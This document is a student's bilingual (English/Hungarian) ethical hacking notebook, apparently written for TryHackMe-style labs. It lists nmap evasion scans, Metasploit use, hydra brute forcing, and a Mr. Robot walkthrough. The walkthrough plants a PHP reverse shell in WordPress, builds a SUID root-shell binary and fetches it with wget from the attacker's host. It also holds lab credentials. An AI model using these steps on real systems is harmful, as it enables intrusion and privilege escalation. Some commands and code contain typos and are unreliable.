# Notes

Friday, September 23, 2022 6:20 PM

# 5 stages of pentesting

1. Information gathering/reconnaissance
2. Scanning
3. Gaining access/exploitation
4. Maintaining access (optional)
5. Covering tracks

# Codes

Friday, September 23, 2022 7:56 PM

sudo ifconfig - local ip address /eth0 - inet/ - where you are
- network interfaces
- MAC address (unique) /ether/ - who you are

# Terminal

Friday, September 23, 2022 8:01 PM

pwd - print worker directory
cd - change directory
    cd / - root directory
    cd .. - 1 directory back
    cd - home directory
    cd ../.. - move up multiple levels of directories
    cd ~ - starting from home directory
ls - list
touch - create an empty file
cat - writes out contents of the file
echo -
    echo text >file - puts text into a file
mkdir - make directory
    mkdir -p - create parent directories too
? - indicate any single character
* - indicate zero or more characters
nano - text editor
    nano file - if the file exists opens it, if not creates it
python3 - runs python programs
    python3 file - execute python program
mv - move
    mv file folder - moves file to the folder if the folder is below the original one
    mv file /path - moves file to the path
cp - copy
    cp original_file new_file - copies file with a new name
    cp file /path/new_name - copies file to the path with a new name
rm - delete permanently
    rm file - delete file
    rm directory -r - delete directory
    rm * -r - deletes EVERYTHING from the directory you are in
sudo - gives you root permissions
sudo su - gives you root permission from now on (not only for 1 command)
clear - clears the terminal
locate - locates a file etc

--help - gives help to command
man *command* - gives manual to the command

run files:
example: rhawk.php
    php rhawk.php
    file_type file

# Information Gathering

Saturday, September 24, 2022 10:15 AM

- ip address
- emails
- phone numbers
- technologies

1. Obtaining IP address, physical address
   ping - ip address
   nslookup - gives ip address (2nd)
   whois - ip + bunch of information

2. Whatweb stealthy can
   whatweb - identifies websites
      whatweb google.com -v
      whatweb ip (range) --aggression level -v --no-errors --log-verbose=FILE

3. Gathering emails
   theHarvester - find ips, emails, hosts (sometimes breaks)
      -d - domain
      -b - source
      -l - limit
   hunter.io

4. Finding usernames with Sherlock
   Sherlock - looks through a bunch of websites with the same username
   go to directory-> python3 sherlock.py username

# Nmap

Sunday, September 25, 2022 11:22 AM

nmap - network mapper

man nmap - manual for nmap

nmap ip - scans 1 ip
nmap 192.168.8.0-255 or 192.168.8.1/24 - scans entire network
nmap -sS ip >>output_file - puts output in a file

-sS - TCP Syn Scan- quick, never establishes a full TCP connection, leaves less trace
-sU - UDP scan
-sF - fyn scan
-O - scan operating system
-sV - service/version detection
-A - aggressive option (easily detectable)
-sC - scripts
- --script group
  - auth - authentication - deals with authentication credentials
  - vuln - vulnerability
  - eunm - info gathering
  - malware - tests if the target is affected by malware
  - banner - usually hold information disclosure
  - exploit - aim to actively exploit some vulnerability
- --script-help script - get help on a specific script

-p - port list
-F - scans first 100 ports that are usually most used
-oN filename - saves output in a file
-f - tiny fragmented ip address to make it harder for fw/ids to detect it
- --mtu fragmentsize(multiple of 8)

-D - creating decoys to hide your ip address
- -D RND:number_of_ip_addresses

-S - spoofs your ip address
- -S spoofedip -Pn -e (network interface) -g source port - spoofs your ip and then send the packets back

-e interface - network interface
-g randomportnumber - source port
-Pn - assumes that all hosts are online
-T - timing template
- 0 paranoid - for IDS evasion
- 1 sneaky - for IDS evasion
- 2 polite
- 3 normal - default
- 4 aggressive
- 5 insane

# Scanning

Sunday, September 25, 2022 9:26 AM

- we are looking for open ports

TCP - Transmission Control Protocol [3 ways handshake -
1. syn (synchronized sequence number) - client wants to start communication
2. syn/ack - server responds to the client request
3. ack - client acknowledges the response]

UDP - User Datagram Protocol
- faster
- no error connection

Firewall - network security system
1. network
   a. filter traffic between 2 or more networks
2. host based
   a. only filter traffic that is going in or out of that specific machine

IDS - Intrusion Detection System
monitors network for malicious activity

1. Netdiscovering
   sudo arp - displays hosts but you have to ping it before
   -a - display all hosts in alternative style
   **sudo netdiscover** - finds all of the available devices on your network on its own

2. Nmap
   nmap - network mapper

   man nmap - manual for nmap

   nmap ip - scans 1 ip
   nmap 192.168.8.0-255 or 192.168.8.1/24 - scans entire network
   nmap -sS ip >>output_file - puts output in a file

   -sS - TCP Syn Scan- quick, never establishes a full TCP connection, leaves less trace
   -sU - UDP scan
   -sF - fyn scan
   -O - scan operating system
   -sV - service/version detection
   -A - aggressive option (easily detectable)
   -sC - scripts
   -p - port list
   -F - scans first 100 ports that are usually most used
   -oN filename - saves output in a file
   -f - tiny fragmented ip address to make it harder for fw/ids to detect it
   --mtu fragmentsize(multiple of 8)
   -D - creating decoys to hide your ip address
   -D RND:number_of_ip_addresses
   -S - spoofs your ip address
   -S spoofedip -Pn -e (network interface) -g source port - spoofs your ip and then send the packets back
   -e interface - network interface
   -g randomportnumber - source port

-Pn - assumes that all hosts are online
-T - timing template
    0 paranoid - for IDS evasion
    1 sneaky - for IDS evasion
    2 polite
    3 normal - default
    4 aggressive
    5 insane

# Vulnerability Analysis

Sunday, September 25, 2022 11:21 AM

1. Nmap scripts
   cd /usr/share/nmap/scripts/ - find scripts

2. Manual vulnerability analysis & searchsploit
   1. run sudo nmap -sV ip
   2.
      i. search version exploit on google (vsftpd 2.3.4 exploit)
      ii. searchsploit - does the shit for you

# Exploitation and Gaining Access

Sunday, September 25, 2022 1:06 PM

Payload - program that we deliver to the target after the exploit, usually this program is something that allows us to execute commands on the target system and navigate through its files and folders

Shell = payload

Reverse Shell - it will always work

1. we open a listener
2. drop a shell
3. target connects
4. we can control

Bind Shell

1. target opens a listener
2. we have to connect
3. we can control

- firewall can forbid machines to open ports

Metasploit Framework Structure

cd /usr/share/metasploit-framework/modules/

exploits/ - execute payloads
auxiliary/ - scanning, denial service attacks, .. (first 2 stages of attack)
post/ - gather and steal information from target (after exploit)
payloads/ -
singles/ - payloads that are stand alone
stagers/ - sets up a network connection between attacker and target
stages/ - payload components
reverse_tcp.rb
[encoders/ - helps us evade antivirus detection
evasion/ - kinda the same as encoders
nops/ - instruction to the processor to do nothing]

Msfconsole basic commands

show - list out any type of modules we want
ex. show payloads
use module_name - use the selected module
ex.: use exploit/windows/smb/ms06_040_netapi
show info - tells us more about the particular exploit
show options
show payloads - only lists possible payloads for the particular exploit
set x y - you can change/set options (x) to y
exploit - last step after every required option is set and then it will exploit and deliver payload

Netcat

nc hostname/ip port - connect somewhere
nc -l -p port - listen for inbound

Bruteforce attacks

# Privilige Escalation

Saturday, October 1, 2022 9:54 AM

1. sudo -l
2. fájl jogosultságok -> find

# Cheat sheet

Saturday, October 1, 2022 9:57 AM

https://ethicalhackx.com/kali-linux-commands-list/
https://www.knowledgehut.com/blog/security/ceh-exam-cheat-sheet

reverse shell one liners:
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

exploits:
https://www.exploit-db.com/
https://gtfobins.github.io/

# Lépések

Saturday, November 26, 2022 09:14

1. nmap -sS -sV -T5 -A -v ip
2.a - Google-ben rákeresni, hogy a portokon mi fut és azok sérülékenységeikre
2.b/2.a.1 - ha rapid7-es a vuln vagy searchsploit [verzió]-nál van használható eredmény -> backdoor, remote command execution
    3. msfconsole
    3.a - ha backdoor, csak lefuttatod az exploitot
        help
        use [exploit neve]
        show options
        set [mit] [mire] (pl set RHOST target_ip)
        exploit
    3.b - ha command execution -> +1 lépés
        use [exploit neve]
        show options
        set [mit] [mire]
        show payloads
        set payload [payload neve (valamelyik reverse payload)]
        show options
        set [mit] [mire]
        exploit
3. Ha 80-as portot támadunk:
    1. http://ip/robots.txt
    2. http://ip/sitemap.xml
    3. dirb http://ip:8080/ /usr/share/wordlists/dirb/common.txt
        vagy
      gobuster dir -u ip -w wordlist

    ha WordPress-t találunk:
        wpscan --url 10.10.65.30 --usernames elliot --passwords short.tx
        utána
        nc -lnvp 4444 - listener létrehozása

    https://github.com/payloadbox/command-injection-payload-list - & használata

4. Ha a 21-es ftp porton anonymous login allowed:
    1. ftp ip
    2. name-hez: anonymous
    3. ls
    4. get [file]

5. ssh bruteforceolása ha van felhasználónevünk:
    hydra -l felhasználónév -P jelszólista ssh://ip/
    utána belépés:
        ssh felhasználónév@ip
        jelszó

6. ha bent vagyunk, de nem rootként, nézzük meg mit tudunk futtatni rootként
    sudo -l
        amit ott találunk, neten keressünk exploitot hozzá

Ha neten találunk exploitot:
kimásoljuk és a kali gépünkre egy fileba elmentjük, majd lefuttatjuk argumentek nélkül, hátha kiírja mik kellenek hozzá (pl ott a tetején, hogy /usr/bin/env python)
    vagy töltsük le és húzzuk át
majd mégegyszer lefuttatjuk az argumenteket kitöltve

https://github.com/darkmiclos/ethack

# Mr. Robot

Monday, November 28, 2022 22:01

1. sudo nmap -sS -sV -A ip
2. dirb http://ip/ /usr/share/wordlists/dirb/common.txt
    a. /robots.txt -t lecsekkolni - 1. flag
    b. megtalálod a /blog-ot vagy /wp-admin-t, ott egy wordpress
        i. kipróbálni legelsőnek az admin felhasználónevet vagy keresni valahol bármi erre utaló jelet (ha sok ismétlődés van:
        sort fsocity.dic | uniq > fsocity_sortec.dic
            1) ha sikerül, akkor wpscan:
            wp scan --url http://<ip> --usernames <fájl> --passwords <fájl>
        ii. ha beengedett és admin jogaid vannak
            1) Appearance -> Editor és pl a /404.php/-be beleírni a reverse shellt (https://pentestmonkey.net/tools/web-shells/php-reverse-shell)
            2) átírod a reverse shellben a saját ipdet + portot (de ott lesz, hogy CHANGE THIS)
            3) mielőtt lefuttatod saját gépeden: nc -lnvp 4444
            4) lefuttatod és elkapod a kapcsolatot
        iii. python3 -c 'import pty;pty.spawn("/bin/bash")' lefuttatása ha van rajta python és nem interaktív shellt kapsz
        iv. ezután ott lesz a 2. flag + egy md5 jelszó
            1) az md5 fájlt átküldöd a gépedre: scp kali@ip:/home/kali password.raw-md5 vagy rsync -v fájl kali@ip:/home/kali
            2) john <feltörendő> --wordlist=<wordlist neve> --format=<format> vagy crackstation https://crackstation.net/

https://infosecwriteups.com/tryhackme-mr-robot-machine-c33476f12c48 - többi

Monday, November 28, 2022 22:07

Terminal, alapok

ctrl + l

~ - saját mappában vagyunk (/home/kali)

cd [hova] - mappaváltás (change directory)
abszolút (hosszú)
relatív (ahol éppen vagyok, ahhoz képest)
.. egy mappával feljebb
üres visszalép az alap mappába

pwd - hol vagyunk

ls - (-a, -l) kilistázza a fájlokat, mappákat
(-l részletes, -a rejtett fájlok, amik előtt pont van, -al is működik)
mehet utána fájl/mappa név)

cat - elolvassa a fájlt

tab - kiegészít, lépked a mappákban

mkdir [elérési út/mappa név] - mappát hoz létre
-p - ha nem létezik elérési út, létrehozza

echo - kiírás

nano - (program, szinte minden gépen fent van)
ctrl + x

vi - szövegszerkesztő (fix hogy minden linux alapú rendszeren van)

EGYÉB

>, >> - a baloldali utasítás kimenetét átküldi a jobb oldalon lévő helyre
> - létrehoz és felülír
>> - létrehoz és hozzáfűz

ctrl + c - megszakítja az éppen aktuálisan futó program futását

scriptelés alapjai
1) változó létrehozása:
név = érték

2)$név beépített programot is így futtatunk, zárójelben

3) -gt - greater than

4) elif

nano név.sh - #!

3*3 - as szabad hely van, megmondja hogy mihez van jogunk
első három, tulaj user
második három group
harmadik három other
r - read
w - write
x - execute
chmod [+x] fájl/mappa ad jogosultságot (execute itt)

„ | ” – piping: veszi a baloldalon lévő dolgot, majd a jobboldali helyre rakja bele

| keres és feldolgoz információt

Portok szolgáltatások felderítése

nmap -sS -p -T4 <ip>
nmap -sS -sC -sV -p- 22,80 -O <ip>

Mappabejárás

1) dirb http://<ip>/[mappa] (/usr/shared/wordlists/dirb/common.txt (-r/-R kikapcsolja a rekurzív keresést)
2) gobuster párhuzamosan fut
3) dirbuster

ha nem a 80-on van a http, akkor az ip végére kell : http://...:8000

Reverse/BIND shell

listener készítése (netcat)

nc -lvnp

nem interaktí shellből interaktív shell

(általában nem vélik be, csak korlátozott környezetre:
python(3) -c ’import os;os.system(„/bin/bash”)’

python(3) -c ’import pty;pty.spawn(„/bin/bash”)’

Jelszó törés hydrával

hydra -l <username> -s <port> -P <jelszavak> <támadó ip> <kérés mód(pl: http-get)> "/path/to/login"

hydra -L <username fájl> -s <port> -P <jelszavak> <támadó ip> <kérés mód(pl: http-get)> "/phpadmin"

Reverse shell generálás

msfvenom -p <shell típusa, pl php> LHOST=<KALI_IP> LPORT=<port> -f raw > név

Privilege escalation

/etc/sudoers - kiknek van joga

sudo -l -mihez van jogunk

find / -user root -perm -o=w (írni)

SUID

dinf /-user root -perm -u=s 2>dev/null

echo $PATH (ezeket tudjuk futtatni)

python(3) -c 'import pty;pty.spawn(„/bin/bash")'

export PATH=" "

cat etc/shadow

john <feltörendő> --wordlist=<wordlist neve> --format=<format>

Rendszergazda jogosultság megszerzése:

nano suid_df.c

```
(#include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>

int main() {
        setuid (0);
        setcuid (0);
        setgid (0);

        system(„/bin/bash"):

        return 0;
        }
```

gcc suid_df.c -o df_binaris
Áttöltés

python3 -m http.server

böngésző
192.168.1.###:<port ahol létrejött>

célgépen

curb vagy wget http://192.168.1.###:8000/df_binaris

mv df_binaris df (átnevezzük df-re)

chmod +x df (futtathatóvá teszi)

/opt/secure_backup

Wordpress

wp scan -url http://<ip> --usernames <fájl> --passwords <fájl>

Etikus Hackelés ZH

1
sudo nmap -sS -sV 10.10.234.55

2
Megnézni, milyen portok vannak nyitva. HTTP / HTTPS különböző lehet!

robots.txt
Forráskód
DIRB

dirb http://10.10.234.55:8080/ /usr/share/wordlists/dirb/common.txt

3
Megfelelő exploit kiválasztása ha kell, akkor msfconsole

msfconsole
search tomcat
use 4
info
set rhost 10.10.234.55
run

John
Ha gpg fájl van:

gpg2john tryhackme.asc > szo
john --wordlist=~/Downloads/rockyou.txt szo
gpg —import tryhackme.asc
gpg -d credential.pgp

Fájlátvitel:
scp skyfuck@10.10.250.65:/home/skyfuck/tryhackme.asc tryhackme.asc

Felhasználók listázása:
cat /etc/passwd
ls /home

Suid bit keresése
ls -l /usr/bin
find . -perm /4000
find / -perm +6000 2>/dev/null | grep '/bin/' (Swiss Army Knife!)
(-l kapcsolóval meg kell nézni a jogosultságokat. Ahol pl.: -rwx helyett -rws van, ott a SUID bit be van állítva)
GTFO Bins

Reverse Shell
nc -lvnp 4400

Wordpress
wpscan --url 10.10.65.30 --usernames elliot --passwords short.txt

Hashek
hash-identifier
john md5.hash --wordlist=fsocity.dic --format=Raw-MD5

John
john md5.hash --wordlist=fsocity.dic --format=Raw-MD5

SSH
ssh pi@192.168.0.117

titkosfelhasznalo
spongebob

ssh -i deployment_key.txt demo@192.237.248.66

1. nmap -sS -sV -T5 -A -v ip
2.a - Google-ben rákeresni, hogy a portokon mi fut és azok sérülékenységeikre
2.b/2.a.1 - ha rapid7-es a vuln vagy searchsploit [verzió]-nál van használható eredmény -> backdoor, remote command execution
   3. msfconsole
   3.a - ha backdoor, csak lefuttatod az exploitot
      help
      use [exploit neve]
      show options
      set [mit] [mire] (pl set RHOST target_ip)
      exploit
   3.b - ha command execution ->  +1 lépés
      use [exploit neve]
      show options
      set [mit] [mire]
      show payloads
      set payload [payload neve (valamelyik reverse payload)]
      show options
      set [mit] [mire]
      exploit
3. Ha 80-as portot támadunk:
   1. http://ip/robots.txt
   2. http://ip/sitemap.xml
   3. dirb http://ip:8080/ /usr/share/wordlists/dirb/common.txt
      vagy
     gobuster dir -u ip -w wordlist

   ha WordPress-t találunk:
      wpscan --url 10.10.65.30 --usernames elliot --passwords short.tx

https://github.com/payloadbox/command-injection-payload-list - & használata

4. Ha a 21-es ftp porton anonymous login allowed:
    1. ftp ip
    2. name-hez: anonymous
    3. ls
    4. get [file]

5. ssh bruteforceolása ha van felhasználónevünk:
   hydra -l felhasználónév -P jelszólista ssh://ip/
   utána belépés:
      ssh felhasználónév@ip
      jelszó

6. ha bent vagyunk, de nem rootként, nézzük meg mit tudunk futtatni rootként
   sudo -l
      amit ott találunk, neten keressünk exploitot hozzá

Ha neten találunk exploitot:
kimásoljuk és a kali gépünkre egy fileba elmentjük, majd lefuttatjuk argumentek nélkül, hátha kiírja mik kellenek hozzá (pl ott a tetején, hogy /usr/bin/env python)
   vagy töltsük le és húzzuk át
majd mégegyszer lefuttatjuk az argumenteket kitöltve